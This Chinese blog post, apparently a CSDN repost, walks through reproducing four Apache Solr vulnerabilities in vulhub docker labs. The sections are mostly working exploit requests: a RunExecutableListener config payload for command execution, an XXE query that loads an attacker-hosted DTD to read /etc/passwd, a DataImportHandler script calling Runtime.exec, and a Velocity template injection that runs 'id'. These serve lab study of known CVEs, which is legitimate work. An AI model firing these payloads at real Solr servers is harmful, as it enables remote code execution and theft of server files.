Apache Solr 漏洞总结

目录

 

Apache Solr简介

漏洞复现

 CVE-2017-12629  命令执行漏洞

 CVE-2017-12629 XML 实体注入漏洞

 CVE-2019-0193 命令执行漏洞

 CVE-2019-17558 命令执行漏洞


Apache Solr简介

 Solr是一个高性能,采用Java5开发,基于Lucene的全文搜索服务器。Solr是一个独立的企业级搜索应用服务器,很多企业运用solr开源服务。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。它的主要特性包括:高效、灵活的缓存功能,垂直搜索功能,高亮显示搜索结果,通过索引复制来提高可用性,提 供一套强大Data Schema来定义字段,类型和设置文本分析,提供基于Web的管理界面等。

漏洞复现

 CVE-2017-12629  命令执行漏洞

环境搭建

  • cd /root/vulhub/solr/CVE-2017-12629-RCE/
  • docker-compose up -d
  • 命令执行成功后,需要等待一会,之后访问`http://your-ip:8983/`即可查看到Apache solr的管理页面,无需登录。

影响范围

Apache Solr < 7.1

漏洞复现

1.利用burp抓包,发送以下数据包,记得修改为自己网站的地址

POST /solr/demo/config HTTP/1.1
Host: 192.168.31.128:8983
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 161

{"add-listener":{"event":"postCommit","name":"newlistener3","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/hello"]}}

2.我们根据burp的响应可以看到命令执行成功

3.然后我们执行更新代码

POST /solr/demo/update HTTP/1.1
Host: 192.168.31.128:8983
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 19

[{"id":"test"}]

4.我们根据burp的响应可以看到更新成功

5.然后我们进入/root/vulhub/solr/CVE-2017-12629-RCE目录下执行命令,看到文件创建成功

  • docker-compose exec slor ls /tmp

CVE-2017-12629 XML 实体注入漏洞

环境搭建

  • cd /root/vulhub/solr/CVE-2017-12629-XXE/
  • docker-compose up -d
  • 命令执行成功后,需要等待一会,之后访问`http://your-ip:8983/`即可查看到Apache solr的管理页面,无需登录。

影响范围

Apache Solr < 7.1

漏洞复现

 1.在攻击机的网站根目录下生成一个包含以下内容的do.dtd文件,并开启apache服务

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">

2.然后访问目标网站,利用burp抓包

3.,构建有以下信息组成的特殊的payload,代码中的"http%3a%2f%2f192.168.31.128%2fdo.dtd"是我攻击机网站下的do.dtd文件地址,一定要换成自己的。

GET /solr/demo/select?q=%3C%3fxml+version%3d%221.0%22+%3f%3E%3C!DOCTYPE+root%5b%3C!ENTITY+%25+ext+SYSTEM+%22http%
3a%2f%2f192.168.31.128%2fdo.dtd%22%3E%25ext%3b%25ent%3b%5d%3E%3Cr%3E%26data%3b%3C%2fr%3E&wt
=xml&defType=xmlparser HTTP/1.1
Host: your-ip:8983
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

4.利用burp的Repeater模块发送此payload,可以看到成功查看目标passwd文件

CVE-2019-0193 命令执行漏洞

环境搭建

  • cd /root/vulhub/solr/CVE-2019-0193/
  • docker-compose up -d
  • docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
  • 命令执行成功后,需要等待一会,之后访问`http://your-ip:8983/`即可查看到Apache solr的管理页面,无需登录。

影响范围

Apache Solr < 8.2.0

漏洞复现

1.首先打开刚刚创建好的`test`核心,选择Dataimport功能并选择debug模式,打开Configuration并点击Debug-Mode,填写以下POC:

<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/success");
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
</dataConfig>

2.点击Execute,执行此代码,然后我们用burp抓包,查看请求的路径,以及其他一些信息。

3.切换到/root/vulhub/solr/CVE-2019-0193目录下,执行`docker-compose exec solr ls /tmp`,可见`/tmp/success`已成功创建

CVE-2019-17558 命令执行漏洞

环境搭建

  • cd /root/vulhub/solr/CVE-2019-17558
  • docker-compose up -d
  • 命令执行成功后,需要等待一会,之后访问`http://your-ip:8983/`即可查看到Apache solr的管理页面,无需登录。

影响范围

Apache Solr < 8.3.1

Apache Solr > ​​​​​​​5.0.0 

漏洞复现

1.默认情况下`params.resource.loader.enabled`配置未打开,无法使用自定义模板。我们先通过如下API获取所有的核心:

  • http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json
  • vulhub中的核心为demo,这个核心名称确定了下面POST请求包的路径

​​​​​​​

2.然后利用burp抓包构造以下payload,请求开启"params.resource.loader.enabled"

```
POST /solr/demo/config HTTP/1.1
Host: IP:8983
Content-Type: application/json
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

2.根据burp响应可知道已成功开启。

3.​​​​​​​然后访问用此payload访问目标网站

​​​​​​​http://your-ip:8983/solr/demo/select?
q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.
forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+
%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27i
d%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+
[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

4.根据burp响应,已成功执行id命令

猜你喜欢

转载自blog.csdn.net/smli_ng/article/details/115705233
今日推荐